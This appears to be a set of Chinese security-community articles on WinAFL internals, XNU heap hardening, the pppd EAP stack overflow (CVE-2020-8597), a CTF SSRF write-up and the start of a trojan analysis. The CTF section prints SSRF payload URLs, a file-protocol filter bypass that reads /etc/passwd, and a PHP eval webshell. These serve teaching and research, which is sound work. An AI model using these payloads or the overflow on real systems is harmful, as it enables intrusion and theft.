* 之后就是设置命名管道和共享内存以便和 `afl-fuzz` 进行通信。
### 覆盖率记录
通过 `drmgr_register_bb_instrumentation_event`
我们就可以在每个基本块执行之前调用我们设置回调函数。这时我们就可以统计覆盖率信息了。具体的统计方式如下：
**instrument_bb_coverage 的方式**
// 计算基本块的偏移并且取 MAP_SIZE 为数， 以便放入覆盖率表
offset = (uint)(start_pc - mod_entry->data->start);
offset &= MAP_SIZE - 1; // 把地址映射到 map中
afl_map[offset]++
**instrument_edge_coverage 的方式**
offset = (uint)(start_pc - mod_entry->data->start);
offset &= MAP_SIZE - 1; // 把地址映射到 map中
afl_map[pre_offset ^ offset]++
pre_offset = offset >> 1
afl_map 适合 afl-fuzz 共享的内存区域， afl-fuzz 和 winafl.dll 通过 afl_map 来传递覆盖率信息。
### 效率提升方案
在
`event_module_load`会在每个模块被加载时调用，这个函会根据用户的参数为指定的目标函数设置一些回调函数，用来提升模糊测试的效率。主要代码如下：
static void
event_module_load(void *drcontext, const module_data_t *info, bool loaded)
{
if(options.fuzz_module[0]) {
if(strcmp(module_name, options.fuzz_module) == 0) {
if(options.fuzz_offset) {
to_wrap = info->start + options.fuzz_offset;
} else {
//first try exported symbols
to_wrap = (app_pc)dr_get_proc_address(info->handle, options.fuzz_method);
if(!to_wrap) {
DR_ASSERT_MSG(to_wrap, "Can't find specified method in fuzz_module");
to_wrap += (size_t)info->start;
}
}
if (options.persistence_mode == native_mode)
{
drwrap_wrap_ex(to_wrap, pre_fuzz_handler, post_fuzz_handler, NULL, options.callconv);
}
if (options.persistence_mode == in_app)
{
drwrap_wrap_ex(to_wrap, pre_loop_start_handler, NULL, NULL, options.callconv);
}
}
module_table_load(module_table, info);
}
在找到 `target_module` 中的 `target_method` 函数后，根据是否启用 `persistence` 模式，采用不同的方式给
`target_method` 函数设置一些回调函数，默认情况下是不启用 `persistence` 模式 ， `persistence`
模式要求目标程序里面有不断接收数据的循环，比如一个 `TCP` 服务器，会循环的接收客户端的请求和数据。下面分别分析两种方式的源代码。
#### 不启用 persistence
会调用
drwrap_wrap_ex(to_wrap, pre_fuzz_handler, post_fuzz_handler, NULL, options.callconv);
这个语句的作用是在目标函数 `to_wrap` 执行前调用 `pre_fuzz_handler` 函数， 在目标函数执行后调用
`post_fuzz_handler` 函数。
下面具体分析
static void
pre_fuzz_handler(void *wrapcxt, INOUT void **user_data)
{
char command = 0;
int i;
void *drcontext;
app_pc target_to_fuzz = drwrap_get_func(wrapcxt);
dr_mcontext_t *mc = drwrap_get_mcontext_ex(wrapcxt, DR_MC_ALL);
drcontext = drwrap_get_drcontext(wrapcxt);
// 保存目标函数的 栈指针 和 pc 指针， 以便在执行完程序后回到该状态继续运行
fuzz_target.xsp = mc->xsp;
fuzz_target.func_pc = target_to_fuzz;
if(!options.debug_mode) {
WriteCommandToPipe('P');
command = ReadCommandFromPipe();
// 等待 afl-fuzz 发送 F ， 收到 F 开始进行 fuzzing
if(command != 'F') {
if(command == 'Q') {
dr_exit_process(0);
} else {
DR_ASSERT_MSG(false, "unrecognized command received over pipe");
}
}
} else {
debug_data.pre_hanlder_called++;
dr_fprintf(winafl_data.log, "In pre_fuzz_handler\n");
}
//save or restore arguments， 第一次进入时保存参数， 以后都把保存的参数写入
if (!options.no_loop) {
if (fuzz_target.iteration == 0) {
for (i = 0; i < options.num_fuz_args; i++)
options.func_args[i] = drwrap_get_arg(wrapcxt, i);
} else {
for (i = 0; i < options.num_fuz_args; i++)
drwrap_set_arg(wrapcxt, i, options.func_args[i]);
}
}
memset(winafl_data.afl_area, 0, MAP_SIZE);
// 把 覆盖率信息保存在 tls 里面， 在统计边覆盖率时会用到
if(options.coverage_kind == COVERAGE_EDGE || options.thread_coverage) {
void **thread_data = (void **)drmgr_get_tls_field(drcontext, winafl_tls_field);
thread_data[0] = 0;
thread_data[1] = winafl_data.afl_area;
}
}
* 首先保存一些上下文信息，比如寄存器信息，然后通过命名管道像 afl-fuzz 发送 P 表示这边已经准备好了可以执行用例，然后等待 afl-fuzz 发送 F 后，就继续向下执行。
* 然后如果是第一次执行，就保存函数的参数，否则就把之前保存的参数设置好。
* 然后重置表示代码覆盖率的共享内存区域。
然后在 `post_fuzz_handle` 会根据执行的情况向 `afl-fuzz`
返回执行信息，然后根据情况判断是否恢复之前保存的上下文信息，重新准备开始执行目标函数。通过这种方式可以不用每次执行都新建一个进程，提升了 fuzz 的效率。
static void
post_fuzz_handler(void *wrapcxt, void *user_data)
{
dr_mcontext_t *mc;
mc = drwrap_get_mcontext(wrapcxt);
if(!options.debug_mode) {
WriteCommandToPipe('K'); // 程序正常执行后发送 K 给 fuzz
} else {
debug_data.post_handler_called++;
dr_fprintf(winafl_data.log, "In post_fuzz_handler\n");
}
/*
We don't need to reload context in case of network-based fuzzing.
对于网络型的 fuzz , 不需要reload.执行一次就行了，这里直接返回
*/
if (options.no_loop)
return;
fuzz_target.iteration++;
if(fuzz_target.iteration == options.fuzz_iterations) {
dr_exit_process(0);
}
// 恢复 栈指针 和 pc 到函数的开头准备下次继续运行
mc->xsp = fuzz_target.xsp;
mc->pc = fuzz_target.func_pc;
drwrap_redirect_execution(wrapcxt);
}
### 启用 persistence
在 `fuzz` 网络应用程序时，应该使用该模式
-persistence_mode in_app
在这个模式下，对目标函数的包装就没有 `pre_fuzz....` 和 `post_fuzz.....` 了， 此时就是在每次运行到目标函数就清空覆盖率，
因为程序自身会不断的调用目标函数。
/* 每次执行完就简单的重置 aflmap， 这种模式适用于程序自身就有循环的情况 */
static void
pre_loop_start_handler(void *wrapcxt, INOUT void **user_data)
{
void *drcontext = drwrap_get_drcontext(wrapcxt);
if (!options.debug_mode) {
//let server know we finished a cycle, redundunt on first cycle.
WriteCommandToPipe('K');
if (fuzz_target.iteration == options.fuzz_iterations) {
dr_exit_process(0);
}
fuzz_target.iteration++;
//let server know we are starting a new cycle
WriteCommandToPipe('P');
//wait for server acknowledgement for cycle start
char command = ReadCommandFromPipe();
if (command != 'F') {
if (command == 'Q') {
dr_exit_process(0);
}
else {
char errorMessage[] = "unrecognized command received over pipe: ";
errorMessage[sizeof(errorMessage)-2] = command;
DR_ASSERT_MSG(false, errorMessage);
}
}
}
else {
debug_data.pre_hanlder_called++;
dr_fprintf(winafl_data.log, "In pre_loop_start_handler\n");
}
memset(winafl_data.afl_area, 0, MAP_SIZE);
if (options.coverage_kind == COVERAGE_EDGE || options.thread_coverage) {
void **thread_data = (void **)drmgr_get_tls_field(drcontext, winafl_tls_field);
thread_data[0] = 0;
thread_data[1] = winafl_data.afl_area;
}
}
# 总结
通过对 `afl-fuzz.c` 的分析，我们知道 winafl 提供了两种有意思的功能，即数据修正功能 和
自定义数据发送功能。这两种功能可以辅助我们对一些非常规目标进行 fuzz, 比如网络协议、数据加密应用。通过对 `winafl.c` 可以清楚的知道如何使用
dynamorio 统计程序的覆盖率， 并且明白了 winafl 通过多次在内存中执行目标函数来提升效率的方式，
同时也清楚了在程序内部自带循环调用函数时，可以使用 persistence 模式来对目标进行 fuzz，比如一些网络服务应用。
# 参考
<https://paper.seebug.org/496/#arithmetic>
[http://riusksk.me/2019/02/02/winafl%E4%B8%AD%E5%9F%BA%E4%BA%8E%E6%8F%92%E6%A1%A9%E7%9A%84%E8%A6%86%E7%9B%96%E7%8E%87%E5%8F%8D%E9%A6%88%E5%8E%9F%E7%90%86/](http://riusksk.me/2019/02/02/winafl中基于插桩的覆盖率反馈原理/)
<https://paper.seebug.org/323/#3-winafl-fuzzer> | 社区文章 |
**作者：wzt
原文链接：<https://mp.weixin.qq.com/s/LOf_W9QRDds_yHO1aVSg9Q>**
## **1.1** **简介**
XNU的内核内存分配器层次比较多， 因为它是一个混合的内核，bsd、mach层都有自己的内存分配器接口， 但最底层的都是调用zone
allocotr分配器。它的内存分配器设计非常简单，大概是我读过的众多主流os内核中无论数据结构还是分配算法都是最简单的一个。我时常在想XNU内核给MacOS提供了流畅的操作性，但是只从zone的内存分配器来看并不能支撑这个结论，或许慢慢随着笔者对XNU内核的深入理解，答案也会慢慢水落石出。不过本次我们将探讨下zone内存分配器的安全特性以及设计不足，值得肯定的是zone内存分配器在调试和安全特性上的支持已经远远甩出了FREEBSD内核，于linux的slab内存分配器也有过之而无不及，
各有春秋。
## **1.2** **zone分配器的基本结构**
Zone分配器的最基本管理结构为struct zone_page_metadata， 它相当于linux slab的slab管理结构体。
struct zone_page_metadata {
queue_chain_t pages;
union {
uint32_t freelist_offset;
uint32_t real_metadata_offset;
};
uint16_t free_count;
unsigned zindex : ZINDEX_BITS;
unsigned page_count : PAGECOUNT_BITS;
};
结构成员中最重要的是freelist_offset, 它保存的是下一个空闲的item地址。 一个item在内存中的结构图为：
## **1.3 堆溢出检测**
业界常用的检测堆溢出的算法为在一个item前后填充若干redzone值，申请或释放内存时对redzone值进行检测，以发现是否有溢出行为的发生。XNU内核只有在打开KASAN_ZALLOC内核选项时才会填充redzone。
osfmk/kern/zalloc.c：
static inline vm_offset_t
try_alloc_from_zone(zone_t zone,
vm_tag_t tag __unused,
boolean_t* check_poison)
{
#if KASAN_ZALLOC
kasan_poison_range(element, zone->elem_size, ASAN_VALID);
#endif
}
kasan_poison_range->kasan_poison
kasan_poison(vm_offset_t base, vm_size_t size, vm_size_t leftrz, vm_size_t rightrz, uint8_t flags)
{
uint8_t *shadow = SHADOW_FOR_ADDRESS(base);
uint8_t partial = size & 0x07;
vm_size_t total = leftrz + size + rightrz;
vm_size_t i = 0;
if (!kasan_enabled || !kasan_poison_active(flags)) {
return;
}
leftrz /= 8;
size /= 8;
total /= 8;
uint8_t l_flags = flags;
uint8_t r_flags = flags;
if (flags == ASAN_STACK_RZ) {
l_flags = ASAN_STACK_LEFT_RZ;
r_flags = ASAN_STACK_RIGHT_RZ;
} else if (flags == ASAN_HEAP_RZ) {
l_flags = ASAN_HEAP_LEFT_RZ;
r_flags = ASAN_HEAP_RIGHT_RZ;
}
for (; i < leftrz; i++) {
shadow[i] = l_flags;
}
for (; i < leftrz + size; i++) {
shadow[i] = ASAN_VALID; /* XXX: should not be necessary */
}
if (partial && (i < total)) {
shadow[i] = partial;
i++;
}
for (; i < total; i++) {
shadow[i] = r_flags;
}
}
Zone依据内存分配器的不同阶段，调用kasan_poison时构造的item前后redzone填充值也不相同。
san/kasan.h
#define ASAN_VALID 0x00
#define ASAN_HEAP_RZ 0xe9
#define ASAN_HEAP_LEFT_RZ 0xfa
#define ASAN_HEAP_RIGHT_RZ 0xfb
#define ASAN_HEAP_FREED 0xfd
Redzone的填充值与其他OS的实现一样都使用了默认值， exploit程序很容易对其绕过，在笔者给linux
slab开发的内核加固补丁AKSP中，堆redzone使用了随机值，进一步提升了安全性。
## **1.4 DOUBLE FREE检测**
Zone内存分配器可以做简单的double free检测。
osfmk/kern/zalloc.c：
static inline void
free_to_zone(zone_t zone,
vm_offset_t element,
boolean_t poison)
{
page_meta = get_zone_page_metadata((struct zone_free_element *)element, FALSE); [1]
old_head = (vm_offset_t)page_metadata_get_freelist(page_meta); [2]
if (__improbable(old_head == element)) [3]
panic("zfree: double free of %p to zone %s\n",
(void *) element, zone->zone_name);
}
[1] 处通过参数element获取struct zone_page_metadata管理体地址，然后获取其保存的下一个空闲item地址old_head,
在[3]进行比对， 如果相等说明有重复释放的行为。
这种算法只能检测简单的double free操作，也就是连续释放两次相同的item地址。
Free(addr1);
Free(addr1);
对于下面这种情况就检测不到了。
Free(addr1);
Free(addr2);
Free(addr1);
在笔者给linux slab开发的内核加固补丁AKSP中，可以检测上述或者更复杂的多重释放问题。
## **1.5 UAF检测**
业界常用的UFA检测算法是给item填充固定的poison值，在申请内存时检测posion是否改变以此来发现UAF的行为。
osfmk/kern/zalloc.c
static void *
zalloc_internal(
zone_t zone,
boolean_t canblock,
boolean_t nopagewait,
vm_size_t
#if !VM_MAX_TAG_ZONES
__unused
#endif
reqsize,
vm_tag_t tag)
{
zalloc_poison_element(check_poison, zone, addr);
}
void
zalloc_poison_element(boolean_t check_poison, zone_t zone, vm_offset_t addr)
{
vm_offset_t inner_size = zone->elem_size;
if (__improbable(check_poison && addr)) {
vm_offset_t *element_cursor = ((vm_offset_t *) addr) + 1; [1]
vm_offset_t *backup = get_backup_ptr(inner_size, (vm_offset_t *) addr);[2]
for ( ; element_cursor < backup ; element_cursor++)[3]
if (__improbable(*element_cursor != ZP_POISON))
zone_element_was_modified_panic(zone,
addr,
*element_cursor,
ZP_POISON,
((vm_offset_t)element_cursor) - addr);
}
}
[1] 处首先取得poison的首地址，注意item的第一个地址为加密后的next
pointer值，它是与zp_nopoison_cookie异或计算的结果，所以要跳过第一个地址，
[2]处取得posion的最后一个地址，在前面的item内存结构视图中可以看到item的最后一个地址保存的是next_pointer的值，它是与zp_poisoned_cookie或者zp_nopoison_cookie异或计算的结果。
zp_poisoned_cookie与zp_nopoison_cookie是在zone子系统初始化时动态随机生成的，所有的zone共用同一个值。[3]处与默认填充的poison值进行比对,
如果比对失败，说明这个item在分配之前已经被改写过了。
前面分析过item的第一个地址保存的是next pointer的一个混淆值， 在item的最后还保存了一个next
pointer的混淆值副本。所以除了填充poison的方法， zone内存分配器还可以使用next pointer和其副本的对比，来发现UAF的行为。
static inline vm_offset_t
try_alloc_from_zone(zone_t zone,
vm_tag_t tag __unused,
boolean_t* check_poison)
{
if (__improbable(next_element != (next_element_backup ^ zp_nopoison_cookie))) {
if (__improbable(next_element != (next_element_backup ^ zp_poisoned_cookie)))
/* Neither cookie is valid, corruption has occurred */
backup_ptr_mismatch_panic(zone, element, next_element_primary, next_element_backup);
}
}
由于next pointer的副本根据是否需要填充poison使用不同的xor值，所以分别进行了两次比对。
在进行完UAF检查后，zalloc_poison_element还会堆next
pointer进行擦除，以后防止地址泄露，并且从泄露的地址推测zp_nopoison_cookie随机值。
void
zalloc_poison_element(boolean_t check_poison, zone_t zone, vm_offset_t addr)
{
if (addr) {
vm_offset_t *primary = (vm_offset_t *) addr;
vm_offset_t *backup = get_backup_ptr(inner_size, primary);
*primary = ZP_POISON;
*backup = ZP_POISON;
}
}
## **1.6 item地址随机化**
内核堆的攻击技术链中，item的地址初始化顺序十分重要， exploit以此来精确控制要覆盖的item地址， linux
slab使用了洗牌算法将slab里item的初始化顺序完全打乱。但是XNU内核使用的item随机化只有两种情况，
正向顺序或逆向顺序，这只能在一定程度上缓解地址随机化问题，相比linux的洗牌算法会变弱了很多。
random_free_to_zone(
zone_t zone,
vm_offset_t newmem,
vm_offset_t first_element_offset,
int element_count,
unsigned int *entropy_buffer)
{
assert(element_count && element_count <= ZONE_CHUNK_MAXELEMENTS);
elem_size = zone->elem_size;
last_element_offset = first_element_offset + ((element_count * elem_size) - elem_size);
for (index = 0; index < element_count; index++) {
assert(first_element_offset <= last_element_offset);
if (
#if DEBUG || DEVELOPMENT
leak_scan_debug_flag || __improbable(zone->tags) ||
#endif /* DEBUG || DEVELOPMENT */
random_bool_gen_bits(&zone_bool_gen, entropy_buffer, MAX_ENTROPY_PER_ZCRAM, 1)) {[1]
element_addr = newmem + first_element_offset;
first_element_offset += elem_size;
} else {[2]
element_addr = newmem + last_element_offset;
last_element_offset -= elem_size;
}
if (element_addr != (vm_offset_t)zone) {
zone->count++; /* compensate for free_to_zone */
free_to_zone(zone, element_addr, FALSE);
}
zone->cur_size += elem_size;
}
}
random_bool_gen_bits产生一些随机的0或1，从而选择是正向顺序分配还是逆向顺序分配item地址。
## **1.7 内存拷贝检查**
Zone内存分配器提供了一个启动参数-no-copyio-zalloc-check,
当发生从用户空间向内核空间拷贝数据时，会检测内核空间是否属于zone的空间，如果属于那么拷贝的字节数就不能大于zone的item
size，这是一个非常棒的安全检测功能。有点类似linux slab的hardened user copy算法，
只不过它防止的是从内核向用户空间拷贝敏感的数据，限制了拷贝的范围。
## **1.8 双向安全链表**
尽管针对内核堆溢出的攻击中， 很少见到改写双向链表节点的攻击手段。但是为了防患于未然，或者说养成良好的安全编程习惯，
NT和linux内核都使用了安全双向链表检查，而XNU未提供此能力。
* * * | 社区文章 |
# 一个存在了17年的漏洞—pppd 栈溢出（cve-2020-8597）漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> H4l0@海特实验室
## 前言
在 3月6号，国外安全研究员 Ilja Van Sprundel(IOActive) 发现了 pppd 组件的 EAP 协议中一个存在了 17
年的严重的栈溢出漏洞，导致所以使用 pppd 组件的系统都受影响，包括 Ubuntu、Debian、Fedora 等，有潜在的远程代码执行的风险，CVSS
评分为 9.8。
## 前置知识
1.EAP 协议概念：
> EAP协议是使用可扩展的身份验证协议的简称，全称Extensible Authentication
> Protocol。是一系列验证方式的集合，设计理念是满足任何链路层的身份验证需求，支持多种链路层认证方式。
因为 EAP 协议主要用于认证，因此这个漏洞影响了众多协议，如 pppoe、pptp 等。
2.EAP 协议帧格式
字段 | 占用字节数 | 描述
---|---|---
Code | 1个字节 | 表示EAP帧四种类型：
1．Request；2．Response 3．Success；4．Failure
Identifier | 1个字节 | 用于匹配Request和Response。Identifier的值和系统端口一起单独标识一个认证过程
Length | 2个字节 | 表示EAP帧的总长度
Data | 0或更多字节 | 表示EAP数据
* code 用于标识 eap 协议为请求或者响应包，或者认证成功或者认证失败
* length 字段用于表示 eap 帧 的长度，漏洞产生的原因就是因为对这个字段处理不当造成的。
## 漏洞分析
查看 github 上的 commit，发现 eap.c 文件中， 1420 行和 1846 行处的长度处理不当导致的一处栈溢出：
这两段代码分别位于 eap_request() 和 eap_response() 函数中，且都位于 EAPT_MD5CHAP 分支，很明显这两个是用来处理
EAP 协议的数据包请求和响应的函数。
* BCOPY 函数的定义：
#define BCOPY(s, d, l) memcpy(d, s, l) //memcpy 函数的封装
也就是第一个参数的指针指向的内存区域的字符，复制到第二个参数的内存空间中。因为第二个参数（rhostname）位于函数的栈上，导致复制完数据之后导致栈溢出，且可控制返回地址。
char rhostname[256];
接着分析一下触发的条件：
...
if (vallen < 8 || vallen > len) {
error("EAP: MD5-Challenge with bad length %d (8..%d)",vallen, len);
...
break;
}
/* Not so likely to happen. */
if (vallen >= len + sizeof (rhostname)) {
...
BCOPY(inp + vallen, rhostname, sizeof (rhostname) - 1);
rhostname[sizeof (rhostname) - 1] = '\0';
} else {
BCOPY(inp + vallen, rhostname, len - vallen);
rhostname[len - vallen] = '\0';
}
...
* vallen 表示的是 MD5CHAP 的长度字段，为一个常量。
如果要执行下面的代码段，必定要满足vallen <= len，所以这里必定会进入 else 的分支，只要 eap 数据包的长度 len 足够大，且 len
– vallen 的长度大于 rhostname （/etc/hostname 中的内容）字符串的话，就会产生栈溢出。
因为请求和响应两个函数都存在栈溢出，因此在 client 端和 server 端均存在漏洞，在 server
端溢出就能够控制函数的返回地址，导致潜在的远程代码执行漏洞。
## 漏洞复现
因为受影响的协议包括了 ppp、pppoe（Point-to-Point Protocol Over Ethernet），这里就直接拿 pppd
这个二进制程序来进行漏洞复现。
环境搭建
因为搭建 ppp 服务或者 pppoe
服务的话通常需要硬件环境，这里采取一种不依靠硬件的方法，即搭建两个虚拟机，用虚拟串口连接的方式进行通信（就像是对端的实体端到端连接）。具体步骤如下：
1.使用 virtual box 运行两台 ubuntu 虚拟机，一台搭建好了之后可以直接复制到另一台。
2.将作为 server 虚拟机的 “设置 -> 端口” 选项下，勾选启用串口，选择 COM1 （在 linux 下 COM1 可以看作是
/dev/ttyS0 设备）
3.client 端的虚拟机也是同样的设置方法，但是需要注意的是，这里一定要勾选上
“连接至现有的通道或者套接字”！！，不勾选上的话虚拟机的串口是无法通信的。
4.先将 server 端的虚拟机启动，之后再启动 client 端虚拟机。注意顺序，否则会报错。
测试联通性
测试串口的联通性，即一端将数据输入到 /dev/ttyS0 设备中；一端进行读取。
发现这里的串口是通的，可以互相访问。
编译pppd组件
从 github 上 clone 代码到本地（server 端和 client 端都需要），并编译、安装：
git clone https://github.com/paulusmack/ppp.git
cd ppp/
git checkout ppp-2.4.8 // 切换到存在漏洞的分支
./configure
make -j8
make install
查看 pppd 的版本：
测试pppd通信
在 server 端运行下面的命令：
sudo pppd /dev/ttyS0 9600 noauth local lock defaultroute debug nodetach 172.16.1.1:172.16.1.2 ms-dns 8.8.8.8
* 参数的介绍：
/dev/ttyS0 // 连接到的串口
9600 // 波特率
noauth // 无密码认证
local // 不要使用数据机控制线路
lock // 在串口上锁定并使用互斥存取
defaultroute // 采用默认路由
debug // 显示连接过程中的封包内容
nodetach // 不脱离终端
运行命令之后，会将生成的 ppp0 端口绑定到 /dev/ttyS0 串口，这样 client 端可以通过访问 /dev/ttyS0 串口来访问 ppp
服务。
然后在 client 端运行下面的命令：
sudo pppd noauth local lock defaultroute debug nodetach /dev/ttyS0 9600
当获取到 IP 地址之后，就相当于客户端和服务端的端到端连接成功了，接着就可以测试漏洞点。
### 触发栈溢出漏洞
接着我们来测试 EAP 协议的栈溢出漏洞，所以这里前提就是需要服务端开启 eap 认证。
先在服务端运行命令，开启 eap 认证：
sudo pppd /dev/ttyS0 9600 auth local lock defaultroute debug nodetach 172.16.1.1:172.16.1.2 ms-dns 8.8.8.8 require-eap
为了方便复现，在客户端的 eap.c 源代码 eap_request() 的函数中，在 EAPT_MD5CHAP 分支下，手动 patch
代码，加入发送到服务端的 payload：
重新编译客户端的 pppd 程序：
make clean
./configure
make -j8
make install
在客户端运行命令：
sudo pppd noauth local lock defaultroute debug nodetach /dev/ttyS0 9600 user test password test
运行起来之后很快会发现服务端的进程崩溃：
#### 程序保护机制
使用 checksec 命令查看程序保护机制，发现这里开启了 canary 保护，无 pie 保护，所以这里只需要绕过 canary 机制即可。
### 漏洞补丁
将判断改成 len – vallen >= sizeof (rhostname)，当包的长度大于 sizeof (rhostname) 时，就会进入 if
判断，最多只会复制 sizeof (rhostname) 大小的数据，防止了栈溢出漏洞的发生。
...
- if (vallen >= len + sizeof (rhostname)) {
+ if (len - vallen >= sizeof (rhostname)) {
dbglog("EAP: trimming really long peer name down");
BCOPY(inp + vallen, rhostname, sizeof (rhostname) - 1);
rhostname[sizeof (rhostname) - 1] = '\0';
} else {
BCOPY(inp + vallen, rhostname, len - vallen);
rhostname[len - vallen] = '\0';
}
...
## 参考资料
<https://github.com/paulusmack/ppp>
<https://github.com/marcinguy/CVE-2020-8597>
<https://gist.github.com/nstarke/551433bcc72ff95588e168a0bb666124> | 社区文章 |
# CTF题思考之这题真的做不了吗？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近在进行一些培训讨论，在讲解一道Jarvis OJ上的Web题时，引发了一些思考。
## 起源
思考的起源很简单：
1.大家在网上查看writeup
1.发现题目的预期解法无法复现了
2.大家都认为这道题做不了了
题目链接如下：
[http://web.jarvisoj.com:32782/
](http://web.jarvisoj.com:32782/)
## 预期解法
这里我首先介绍一下预期解法
拿到题目后
一把硕大的菜刀图片，除了管理员登录的link，并无其他特征
这时查看一下源代码
发现有趣的一点
<img src="proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg" alt="">
此时点开network
我们可以发现这里是有远程请求的
大致过程如下
所以我们可以基本判断，这里是存在SSRF的
然后下一步，我们点击一下管理员的link
发现我们无法直接访问
[http://web.jarvisoj.com:32782/admin
](http://web.jarvisoj.com:32782/admin)
但此时查看源代码，又发现
<!--<script>alert('admin ip is 103.27.76.153')</script>-->
由这里组合思考一下，应该是不难想到
利用SSRF，伪装管理员去请求这个目录即可
所以我们有思路如下：
这样即可以管理员的身份访问
[http://web.jarvisoj.com:32782/admin
](http://web.jarvisoj.com:32782/admin)
并将内容打回来
那么第一个问题来了
我们可以利用`web.jarvisoj.com`的SSRF
但是`admin ip`上却没有SSRF的利用点怎么办？
这里的确是用了一些脑洞（或者有什么其他思路？知道的可以留言）
即根据
[http://web.jarvisoj.com:32782/proxy.php
](http://web.jarvisoj.com:32782/proxy.php)
猜测管理员ip也有这个文件，即：
[http://103.27.76.153/proxy.php
](http://103.27.76.153/proxy.php)
所以这里不难得到如下payload
http://web.jarvisoj.com:32782/proxy.php?url=http://103.27.76.153/proxy.php?url=http://web.jarvisoj.com:32782/admin/
然后访问应该得到如下页面
但是没有什么用
进行文件泄露探测可以找到
robots.txt
发现内容为：
User-agent: *
Disallow:trojan.php
Disallow:trojan.php.txt
访问
trojan.php.txt
得到`trojan.php`的源码如下：
其实这种混淆有两种方法破解：
1.直接运行
发现直接拿到了shell
2.这里简单一看，就是一个异或混淆
首先我们
var_dump(${("#"^"|").("#"^"|")});
发现是
ASsERT
进行替换
<?php
ASsERT(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));
?>
再解密
var_dump(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));
即可得到
string(17) "eval($_POST[360])"
所以最后的shell为
<?php
ASsERT(eval($_POST[360]));
?>
那么我们利用菜刀连接`trojan.php`即可拿到flag
payload
http://web.jarvisoj.com:32782/proxy.php?url=http://103.27.76.153/proxy.php?url=http://web.jarvisoj.com:32782/admin/trojan.php
## 思考点
虽然上述过程看起来非常完美，但是实际上已经无法使用了
我们在请求的时候发现，中间的admin ip的ssrf可能出现了问题，导致我们漏洞利用无法成功
所以可以说，此题的预期解应该是行不通了
但是实际上，我感觉预期解将大家的思路束缚了
我们发现SSRF之后，第一件事我认为做的绝非仅仅试试http协议
在探测的时候，我们一定会去尝试file协议读文件
我想这里也应该不例外，但是网上几乎所有的writeup都在使用上述预期的打法
实际上，这里用file协议可以更加舒服的拿到flag
## 非预期打法
正如上述所说，我拿到这道题后，尝试了一下file协议的探测，而并非先去想利用admin ip做中间层去访问admin页面
首先探测
[http://web.jarvisoj.com:32782/proxy.php?url=file:///etc/passwd
](http://web.jarvisoj.com:32782/proxy.php?url=file:///etc/passwd)
页面回显了
这并不是我们想要的，也说明file可能被过滤了
于是本能反应应该是试试Bypass
[http://web.jarvisoj.com:32782/proxy.php?url=File:///etc/passwd
](http://web.jarvisoj.com:32782/proxy.php?url=File:///etc/passwd)
即大小写绕过
果不其然，我们可以任意读文件了
但是，这有什么用呢？
我们不知道web的根目录，怎么去探测admin的目录呢？
这里我又发现了一个有趣的点，既然proxy.php是要传递参数url的
我们这里让它为空，试试会不会报错？
nice!我们又轻易的拿到了web目录的绝对路径
如此一来，我们就可以拿走所有的源码
不妨尝试：
[http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/proxy.php
](http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/proxy.php)
我们直接拿到了源码，不难发现这里是利用了curl，并且过滤写的非常生硬，只过滤了字符串
file://
但这并不是我们的最终目的
我们应该是去探测admin目录
出于正常想法，在我不知道robots.txt存在的情况下，我的第一反应应该是去读index.php
所以
view-source:http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/admin/index.php
却发现内容为空，那么相应的应该是去查看index.html
因为整个题目都没有给我们admin目录下的文件名，默认使用的是
[http://web.jarvisoj.com:32782/admin/
](http://web.jarvisoj.com:32782/admin/)
所以不是先读index.php，就是先读index.html，这一定有突破口
view-source:http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/admin/index.html
不难发现我们得到了之前预期解的时候的页面
那么在index.php和index.html都不可用，题目本身也没有告知其他文件的时候，本能反应肯定就是去探测目录了
探测方式也很简单：
http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/admin/+filename
如此不难发现
http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/admin/robots.txt
那么直接读
trojan.php
payload
http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/admin/trojan.php
不难发现
如此一来，我们依然有理有据的拿到了flag
## 后记
其实这道题本身来说，能学到姿势并不多，但是思维很重要
writeup是个好东西，但是不能被他束缚了思想
我认为这样一道SSRF的题目，一定是应该尝试file协议的，而不应该是清一色的利用http以及admin ip
web题目本身就是开放形式的，能否被限定到只有唯一解其实是很难的，必须出题人具有很高的水平，把控的了所有可能存在的非预期，writeup也不是万能的，并不是客观答案，不应该无法复现writeup的解法就认为此题无解了。
web的奇淫技巧博大精深，还等待各位师傅探索，本弱鸡在此献丑了！ | 社区文章 |
# 网络小黑揭秘系列之黑色SEO初探
|
##### 译文声明
本文是翻译文章，文章来源：360天眼安全实验室
译文仅供参考，具体内容表达以及含义原文为准。
**引子**
人在做,天在看。
11月底的时候,360天眼安全实验室发布了一篇文章:网络小黑揭秘系列之私服牧马人,揭露了一起污染私服搭建工具和用户登录端程序进行木马传播的事件。其实,类似的案例远不限于此,这次我们揭露另一根链条出来,当然还是从一个样本开始。
**样本及基础设施**
实验室在日常的恶意代码处理时注意到了一个文件名为“YY某主播视频.exe”(MD5:
27C8E69F7241476C58C071E83616D2B5)的远控木马:
基本上,如果是一个国产木马,如果猜大灰狼,你就有90%的概率正确,这个木马当然也是。木马作者命名为“killqipilang”,就算大灰狼的变种吧。
对样本的分析就不多说了,想了解大灰狼远控的代码架构可以参看天眼实验室之前的那个揭秘。很容易就提取到木马内部编码过的上线URL为“qq867126996.3322.org”:
使用360天眼实验室的可视化关联分析系统进行追踪溯源,发现该木马还关联了另一个上线URL:luanqi.net。由此线索继续,又关联到更多样本,其中一个名为“hexSB360.exe”(没错,木马作者对360都怀有极深的怨念)的程序(MD5:
